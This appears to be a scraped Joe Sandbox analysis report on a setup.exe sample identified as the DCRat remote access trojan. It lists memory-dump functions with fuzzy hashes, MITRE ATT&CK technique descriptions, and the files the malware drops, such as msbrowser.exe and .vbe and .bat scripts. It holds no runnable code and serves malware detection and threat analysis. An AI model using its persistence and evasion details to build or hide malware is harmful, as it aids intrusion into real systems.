Instruction Fuzzy Hash: DC613B71E0962D8FEB64DBA8D4646EDBBF1FF58301F51407AD019E72A2DA786A44CF00

Function 00007FFD9BAC5270 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a9128162313c97c96fdb95a036a05e28b6d9f0d3331dc098ad1492fe7274d94
Instruction ID: bb36de9a3dc5b0aa70fcbc261ce102e77a5be07395d66025940c340c53308244
Opcode Fuzzy Hash: 8a9128162313c97c96fdb95a036a05e28b6d9f0d3331dc098ad1492fe7274d94
Instruction Fuzzy Hash: 6A515171E09A5D8FDB94EBA8C8A9AADBBF1FF19300F100069D00DE72A5CE756941CB40

Function 00007FFD9BAB2175 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2efeecaf5175ae2e9c277d45143adc9c95b05111f893dad2e64f726530db2309
Instruction ID: 0e9bfabc91a36a9af514b1b458fb94fc05a5d9d062967da22502a426f74d98ac
Opcode Fuzzy Hash: 2efeecaf5175ae2e9c277d45143adc9c95b05111f893dad2e64f726530db2309
Instruction Fuzzy Hash: 8F416C31B0EB5E4FD759DBB898651B87BE0EF86300F0545BBD41CC71A2DE68A9418701

Function 00007FFD9BABB5F0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 327ea6c70868ff26adc81cd233a3e2887fbe83977ab7eaa4631ba4332ddf3b5f
Instruction ID: f96c5919b18410a066550a1f372f94f5fb27ff10a5a92ecbeb78dc007bb8ff03
Opcode Fuzzy Hash: 327ea6c70868ff26adc81cd233a3e2887fbe83977ab7eaa4631ba4332ddf3b5f
Instruction Fuzzy Hash: B1412C30E1962D8EEBA4EBA4C8557E9B6B1FF89300F4145F6D01DE72A5CE746A81CF40

Function 00007FFD9BAB33B8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b32c10cd478a90b5a82a59083544e1cba39a62066a57f45a90907f80821d8282
Instruction ID: c8ff691dfe890a1dd53ef8879fc6cbfb6fb123f13dbca0bc3966bd9e18a5253d
Opcode Fuzzy Hash: b32c10cd478a90b5a82a59083544e1cba39a62066a57f45a90907f80821d8282
Instruction Fuzzy Hash: 3E21CF3094E69A8FD742AB74C8685A93BF0EF4A305F0644FBD058CB0B2DA79A545CB11

Function 00007FFD9BABA441 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21e9a5a875de335f26a8b26cc5e53ce6f442193eebdbbaf2152f61d740de217f
Instruction ID: f74aa3d8f3cce1c226fe12f54daf8d5b58c3ed4c8fd01ad1b953636ca8f5cf8d
Opcode Fuzzy Hash: 21e9a5a875de335f26a8b26cc5e53ce6f442193eebdbbaf2152f61d740de217f
Instruction Fuzzy Hash: 21218170A0864D8FCB89EF58C499AAD3BF0FF18305F1145AAE819C72A5DB34E550CB41

Function 00007FFD9BAB0A01 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3edd6dcadc43e9bbea3ca1eea1147adc643ffbac3f4621b76d9811f6e17f5fe0
Instruction ID: 72970ec3148f4eeee14b8faa894cae3ed3cf36128598e5a5643135e6214f88fb
Opcode Fuzzy Hash: 3edd6dcadc43e9bbea3ca1eea1147adc643ffbac3f4621b76d9811f6e17f5fe0
Instruction Fuzzy Hash: 8411B631E1951E4FE7A0EBA888595FD7BE0FF58700F41497AD028C70A6EE74A5408B40

Function 00007FFD9BAB3551 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e34e8df22a286417e8dcaf366e699c0ba2738a0c9173d997be6da1772da39b9
Instruction ID: d771760a6f4d63854171e4dbb98f4d5148eb2a9b281cce817eac434fbce57231
Opcode Fuzzy Hash: 7e34e8df22a286417e8dcaf366e699c0ba2738a0c9173d997be6da1772da39b9
Instruction Fuzzy Hash: 1A116030A0A55E8FEB64DFA488699FE77E0FF18304F110A7BD42DC61A1EE75A6508B00

Function 00007FFD9BAB114D Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f9451430d3bbac1d5e7f75d261726d5bc113b41bf868e6953d6b10feaa47d8c
Instruction ID: a51f83abae1e47abddbe3bfc807917edf3c5f56ca97aef95d283f8c18d0f9f2c
Opcode Fuzzy Hash: 1f9451430d3bbac1d5e7f75d261726d5bc113b41bf868e6953d6b10feaa47d8c
Instruction Fuzzy Hash: 22110830E1A65E4FEBA9DBA4C4B46B97BE0FF65304F0504BFD42AC61E2EA746540CB00

Function 00007FFD9BABAF05 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ab54d9ac08af95d0f8a843de4688e06d73375aa90f0af6fc5953c481585ad3
Instruction ID: 651fed2f9a96dd6ab068a6b96659887a96fdc84e051b4ced32aa3e3b0f0d85ab
Opcode Fuzzy Hash: f4ab54d9ac08af95d0f8a843de4688e06d73375aa90f0af6fc5953c481585ad3
Instruction Fuzzy Hash: 72018071A1A65E4FE761EF74C8A95E97BE0EF15300F4244B6E42CC70B2EE74A5448B00

Function 00007FFD9BAB05D8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5d3239209e10b457b4bc45314e8b110fc83ee55bdf8c307332ba86072997366
Instruction ID: e5e342fe3aed48dc3c9ffa3d1dd8da061053e64cf7971c274afe66d806dc1362
Opcode Fuzzy Hash: c5d3239209e10b457b4bc45314e8b110fc83ee55bdf8c307332ba86072997366
Instruction Fuzzy Hash: E5019E30A1950E8FDB98EF64C4646BA77A1FF69304F21447ED42EC31A4CEB1A660CF40

Function 00007FFD9BAB27A9 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f2b6891e8a9702545a7f59dd7dc38aa8a3c5fddb1750baa5103cdda48f091ca
Instruction ID: 5e6489540e89a8cf5736a9bb9730d009f67a0c7a1dc04daec58829db28e69ee3
Opcode Fuzzy Hash: 7f2b6891e8a9702545a7f59dd7dc38aa8a3c5fddb1750baa5103cdda48f091ca
Instruction Fuzzy Hash: 4601A13090964D8FD75AEFA088685B93BA0FF19305F5108BFD01AC60E6DA39A540CB11

Function 00007FFD9BAB281D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f94e7825f571e86986e3a11e725bbad0dad9cde1e4ced38c066376acfdebb07
Instruction ID: 8aeb814ab7e296714ba779a7ba096b4d8a77827b15791d2155bf0d93d29153b3
Opcode Fuzzy Hash: 4f94e7825f571e86986e3a11e725bbad0dad9cde1e4ced38c066376acfdebb07
Instruction Fuzzy Hash: 29019230A0964D8FDB59AFA4C4691B97BA0FF19304F5105BED429C61E6DF75E541CB00

Function 00007FFD9BABADFA Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b29d130cf841ded40132b7515736f614d6fef80fb694e9f430c8f325b14994fd
Instruction ID: 5a1c4f17b14771f8f37b605b1b2d1293a84b7fb4663848f7bface05d758eede3
Opcode Fuzzy Hash: b29d130cf841ded40132b7515736f614d6fef80fb694e9f430c8f325b14994fd
Instruction Fuzzy Hash: AF01F971F0E92E4EE752EB68C4695B977D0FF15300F0104B6D068C30A1EE74A5448A11

Function 00007FFD9BAB288D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf9b6bf932c5808e56557bdfa6c962a8e589986fd9fda0af518cbcc6e366eaa1
Instruction ID: 826a343d31a6b98c7c738caa532e08a25e4bb1eaa95719381ea233635988c01e
Opcode Fuzzy Hash: bf9b6bf932c5808e56557bdfa6c962a8e589986fd9fda0af518cbcc6e366eaa1
Instruction Fuzzy Hash: 9101B131A1A64E4FE761ABE488985A97FE0EF59300F0245B7D428C70B6EA74E144CB00

Function 00007FFD9BAB2F29 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 474f7db25713a8181df1b78b9bfddc605735b11d94e553ac742cab6f73bf4349
Instruction ID: 2f9ac2e2168a31bc1a145c13ab3e24ee18c4f0cf0f52ac85805789c8e02dc8a4
Opcode Fuzzy Hash: 474f7db25713a8181df1b78b9bfddc605735b11d94e553ac742cab6f73bf4349
Instruction Fuzzy Hash: 3001D470A0E78E4FE762E7B498695A97FE0EF05300F0648F7C418CB0B6DE78A5588B01

Function 00007FFD9BAB1CDD Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe45b6d02b4a3807aa85f6569d2646ef9ef82433772910d25c0bc4c1a1be883e
Instruction ID: 057a388e354f86d22b3f606ecdf8ca39c9777d42807637876259e11041af1c57
Opcode Fuzzy Hash: fe45b6d02b4a3807aa85f6569d2646ef9ef82433772910d25c0bc4c1a1be883e
Instruction Fuzzy Hash: 4201D631A1A68E8FDBA4DF54C8656B93BA0FF25300F5105BAD41CC71A2DAB5A550CF40

Function 00007FFD9BAB1160 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e43969100c78c27e0023905bed34f4079de8e3973f49311e68ebe702322ecd4
Instruction ID: b18f46309d3fa1dbba125196860aa48405ae5a60e597daf06197cd0d70dc642d
Opcode Fuzzy Hash: 6e43969100c78c27e0023905bed34f4079de8e3973f49311e68ebe702322ecd4
Instruction Fuzzy Hash: DAF0CD30E2965E49FBA49B9498646B977E4FF65304F05443FD42EC10D2EE745654CA00

Function 00007FFD9BAB05D0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d9db78bce3c2115107b815c404c2e94277f63297dcee42eef41c69fe03e6b49
Instruction ID: 4a9e99f1f6434dee23751bd426f58d2035f962f05affc796e440cbb68af9ae1c
Opcode Fuzzy Hash: 5d9db78bce3c2115107b815c404c2e94277f63297dcee42eef41c69fe03e6b49
Instruction Fuzzy Hash: 11F0C830A1A54E8FDB64EF6494256F97790FF25308F11057AE81DC2091CE75A560CF40

Function 00007FFD9BAB0F93 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77837baac035cd6cd9e5c9fc94b4721745489689868c2e6d7367866d41d274d2
Instruction ID: b3c4cb8fcb76cd95932b438cc016ccfb778caf3e8c281f280a688f89ae6dcd53
Opcode Fuzzy Hash: 77837baac035cd6cd9e5c9fc94b4721745489689868c2e6d7367866d41d274d2
Instruction Fuzzy Hash: 9CF06D30A0A41E8BEB74DB58CC90EAE77B0AB54305F114265D019932A5DE746A848F84

Function 00007FFD9BAB69AA Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1a8bdb31549a9375417ccd91963f4b34b2ff3bbcba9a76e1d78e0aa5f27c862
Instruction ID: 9254ae87133a0a633bf41a1ee90bc130d29946f56e9dc1192595639b698e5bdc
Opcode Fuzzy Hash: e1a8bdb31549a9375417ccd91963f4b34b2ff3bbcba9a76e1d78e0aa5f27c862
Instruction Fuzzy Hash: 53E0AEB4E09A2D8FDBB4DF489864BA8B7B1BB48305F1000E9820DA3251DA306E80CF14

Function 00007FFD9BABAE6D Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1771842015.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bab0000_msbrowser.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b54f75d0422210728cf370dd8785722ccd857910e26892d7385328779eeb008
Instruction ID: df681650ba2c1c1efcd49747ac9a6e63cf153242a7e67e87562413700462be76
Opcode Fuzzy Hash: 3b54f75d0422210728cf370dd8785722ccd857910e26892d7385328779eeb008
Instruction Fuzzy Hash: 58D0C731A1441E4BDB54DB58DC515FEB771FF44214F400A76D42DD7195DE7019108B80

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\sk\oPmKvuejiIKwwErUS.exe (copy)

C:\Program Files (x86)\Microsoft\96f3f64f4a7d20

C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe

C:\Recovery\96f3f64f4a7d20

C:\Recovery\oPmKvuejiIKwwErUS.exe

C:\Users\user\66fc9ff0ee96c2

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\msbrowser.exe.log

C:\Users\user\sihost.exe

C:\refBrokerDhcp\96f3f64f4a7d20

C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe

C:\refBrokerDhcp\eop7KwarhdN0r.bat

C:\refBrokerDhcp\msbrowser.exe

C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
setup.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre